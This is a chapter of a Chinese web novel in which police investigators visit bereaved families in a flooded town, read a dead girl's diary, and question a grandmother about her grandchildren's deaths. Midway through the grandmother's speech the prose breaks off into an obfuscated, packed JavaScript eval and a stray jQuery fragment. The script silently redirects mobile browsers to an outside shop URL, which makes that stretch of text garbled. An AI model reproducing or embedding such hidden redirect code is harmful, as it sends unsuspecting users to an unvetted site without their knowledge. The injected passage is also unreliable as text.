◆
黄仁被王卡莱赶出了门,边理警告他不要在周丽丽家里笑,他严肃答应了。
锈水镇有部分居民住在山上,水淹时才留下了人,周丽丽家在很远的一个山坡上,屋子也破烂,一进门就看到丽丽爸爸蹲在地上,在吃一团不知什么成分的食物。
雷城从车上拿出备用水、面包给他。
男人抢过去头也不抬,“你们把我女儿弄死了,到现在都不派个人过来给我做饭。”
黄仁无奈,跟边理解释,“她爸爸,脑子有问题,别人说什么都听不进去,自说自话。还经常攻击人,丽丽有个指头就是给他弄掉了。”
边理皱眉吸气,“是天生的吗?”
“很敏锐啊小边。丽丽爷爷奶奶和小姑都被水淹死了,受刺激就这样了。镇上这样的人,不止他一一个。”黄仁说完,忍不住点了根烟。
突然间,一扇紧闭的红木门咯吱一声开了,穿红衣红鞋的女人伸出头来尖叫,“你们是什么人!干什么的!”
黄仁笑,语气哄着,“呦,这不是咱们刘美女士吗,今天又这么好看呐,我们过来找你问问丽丽的,方便不?”
女人听闻啪一下关上了门,“不方便!别打扰我睡觉!”
三人只能走进周丽丽狭窄发霉的小房间。
边理拿起桌上的杂物问,“丽丽没有上学吗?”
黄仁无奈,“这条件咋上啊。我用了半辈子也只能盖三所学校,老师们也要发工资,我拿不出钱让所有小孩免费上学了。再说她家这样,孩子也不会去的,很早就打工了。”
“可是这有书本和笔记。”边理拿起来给他看。
黄仁想了想,“她一直都在学校打工,或许认得字。”
“这好像是一本日记。”雷城翻了几页,里面字迹歪歪扭扭的,错误许多,“最近这篇挺长的,要看吗?”
“念念吧。”
「138年5月28日,天气阴。
今天爸爸吃饱饭后终于不闹了,我在大学里打工到快天黑了才出来,看到妈妈在门口笑盈盈等我,穿着我给她攒钱买的那双红鞋,我们俩去了枯木街玩。
没有钱买东西,就随便看看,在马文爸爸家的店坐了坐,他爸真会吹牛,我妈被逗得咯咯笑。
天黑了,我们得赶快回家,不然找不到我家的路了。
我们俩只能用跑的,可妈妈跑得很慢,我拉着她跑得呼哧呼哧的,最后她累得都哭了。
边哭还边笑,我也笑,山间都是我们的笑声。
隔壁的婆婆见我们俩高兴,递了一块豆腐给我,叫我煮给爸爸吃。
婆婆真好,我真开心,妈妈也真好。
回到家后,妈妈开了灯,门却忽然落了锁,妈妈大喊一声你这个败家子!把豆腐扔在门外,也把我关在门外了。
就像往常一样。
我一遍遍敲着门,门声在夜里断断续续的,让我恶心。
我时常会想,到底什么是真的,什么是假的。
可怕的是,全都是真的。
爸爸傻了,妈妈时常疯着,偶尔醒着。
这就是我的家。」
家里唯一一个健康的人,死掉了啊。
边理有些麻木了,他觉得自己的表情,与那天在枯木街见到的马自强应该差不多。他当时并不理解,儿子死后第二天就能出来,笑着与人攀谈,就像没有经历过死亡一样的父亲,到底是怎么做到轻易面对一切的。
现在想想,除了接受,再也没有别的办法。
他突然想起,“丽丽的姑姑,在光明医院工作过吗?”
黄仁惊讶,“你怎么知道?是护士来着,对丽丽很好。”
是黎安告诉边理的,他还从日记中,看到周丽丽谈到她。
「……有人说,我家没救了,我也没救了,我早晚会死掉的。我想确实是这样……
我好羡慕黎安啊,她没有父母,却拥有好多爱……
我欺负她,她也不还手……她在可怜我吗,真讨厌啊……」
◆
他们最后走访的是沈家。
沈奶奶年纪大了,但把家收拾得井井有条,身体也硬朗。
她早年与丈夫离婚,带走了一儿一女冠己姓。儿子沈家明娶了儿媳顾菲,生下女儿沈音和沈瞳。女儿沈家惠嫁给了女婿李路原,生下外孙李昂。沈瞳出生后不久,沈奶奶于锈水河边捡到黎安。
沈家明在沈音医疗事故死后,捅死光明医院院长跳楼。
一家原本9口人,住在两个独院里。后来剩下7个,边理看到厨房里叠着7只碗,锅里却剩了许多饭。
沈奶奶低眉,“儿媳做多了,家里没了2个能吃的崽子,就剩下了。”
现在是5口了。
黎安和沈瞳共用一个房间,出于隐私,他们没有进去。
沈奶奶坐回院子树下的摇椅上,“儿媳他们都上班去了,你们有什么想问的问我吧。”
黄仁和雷城找了两块石头坐下,只有边理还在厨房徘徊,他站在门口,恍惚问,“奶奶你家缺刀用吗?”
“刀?不缺呀。”
厨房案板上确实摆着把刀,但不是昨天他帮黎安买的那把。
边理回身,目光动摇,“黎安在哪?”
“上学去了。”
“昨天午饭后她去哪了?”
“上学呀。”
她在枯木街,奶奶。
“你干啥,老问人小女孩干啥!”黄仁不满呛他。
雷城也赶紧缓和,“头是职业病犯了,最开始还猜黎安不对劲呢。最近已经不怀疑了,是不是啊头?”
边理仍站在厨房门口,看着阳光从树间撒射下来,将沈奶奶和黄仁雷城一起,罩在斑驳的阴影中。
他们用不同的眼神盯着他。
黎安昨天午后在枯木街,买了一把不需要的刀,没有去学校。那么以此类推,事发后第二天,她很可能也没有去学校。事发当天,很可能也没去。
她去了哪?
以边理的职业素养,他很想当场戳穿出来,但不知为何,怎么都开不了口。
接着黎安回来了。
黄仁看她从大门走进,赶紧站起,“我们安安放学回来啦?”
黎安瞧见了众人,淡淡回,“嗯嗯,黄叔好。”
黄仁像这个家的大人一样,拉着黎安问东问西,还看到她裙子上溅的血迹,很是担心,“衣服怎么沾上血了,又流鼻血了?”
“嗯已经没事了。”
“回屋去吧,我们跟你奶奶说说话。”
“好。”
锈水镇一点都不干,会那么容易流鼻血吗?黄警官。
可是、可是。
黄仁没有可能是恶人。边理心中的天枰,在动摇了一刻之后,终于倾倒。
他走进了树影之中。
◆
“奶奶你是说,沈瞳和李昂会下到光明医院,是因为要查沈音死亡的真相?”边理坐在矮小的板凳上,仰头询问老人。
老人叹气,“是啊,瞳瞳对她爸她姐的死一直不释怀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789658|210337||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,加上没结果医院就淹了。那天锈水河水位下去,医院露出来,各家怕河再出事,都警告孩子们别靠近。他们俩却早早出门了,骗我说,去山上采果子。”
蒋司和马文丽丽也都以不同的理由,骗了身边的人下到医院。至此,这只案子关于孩子们为何下水,怎么死亡,差不多就没什么纰漏了。
可边理犹豫了,不知道能不能直接告诉老人他们的死因,“您年纪大了,他们俩为什么被杀,您还想知道吗?”
沈奶奶这些年一直白发人送黑发人,讲到死亡,她脸上也是那种麻木的神态,她也已经猜到原因,“小边警官,古话说一报还一报,我家的人,只是为了音音讨回个公道,就没了命。这世间,就这样不公平吗?”
边理快速解释,“其实,杀害沈瞳和李昂的凶手也死了,这样您会不会觉得好受一些。”
“怎么死的,不会也是被人家杀了吧。”
“是的。”
“那,对我来说,那个人,反倒是我们的恩人呢。你觉得呢,小边警官?”
树枝沙沙响,风影来回晃。
“从人类的法律上来讲,如果,那个人是为了保护沈瞳和李昂,在缠斗中将行凶者失手反杀,我们不会审判他。
至于杀异人,不属于警治属受理范围,但异人协会的律法对异人非常偏苛,据我所知,您的恩人是谁都无罪。
还有一种可能,如果他不是人类,那么世界上的任何律法,都没办法制裁他了。”
“不需要法律了,是不是因为,有其它方式可以制裁她?”
“有的。战争。奶奶。”
边理没有证据,但他根据沈奶奶的意思,分析她那位恩人合理的杀人动机,人类的说法其实是不可能的,异人最有可能,非人类的说法,也是无稽之谈。
但他脑子却忽然一怔。
真相会不会反而是最不可能的一个?
不……绝不可能,进不去出不来的锈水镇,会藏着一个非人类?藏在这干嘛呢?
那如果不是,就只剩异人可定性,但那个异人估计早跑了,丹妮也早就给过他答案,异人协会不予追查,案子只能到此结束。
沈奶奶看他发愣,开口打断了他的设想,问了一个庞大的问题,“那小边警官觉得,真正害死音音的人,是谁?这个人会比我的恩人,对你来说更重要吗?”
长者能在险境中长生,不知经过了多少岁月的无情。她提醒边理,事到如今,他有了比追查凶案更紧要的任务,害死沈音的凶手,就是害了整个锈水镇全镇的凶手,这里埋着几十万人的性命。
那些未沉冤的锈水镇人,全在等待警治属的答案。在此面前,所有课题都失去了重量。
“当然。”
◆
房间里的黎安,从布包里拿出那只手套,戴在手上。
她手腕上的芯网跳出数值,供主人登陆调整。
数据库中,这把「光武620一代-手套」还有其它完整的全身装备,但黎安并不需要。
她载入身份信息,在商城将其更换了署名,更名后她便可以使用这把光武了。
全球只发售给特殊执法者的武器,忽然换了主人,贸易商人「宝丽珊瑚」推了推她的眼镜。这名张姓男子的执法者身份很有意思,所换武器却相当普通。在思索一番后,她并未向任何上级汇报,直接将更名通过。
黎安启动手套,向窗外望去。
树下摇椅上的奶奶,板凳上的边理,石头上的黄仁,都变得那样遥远,遥远。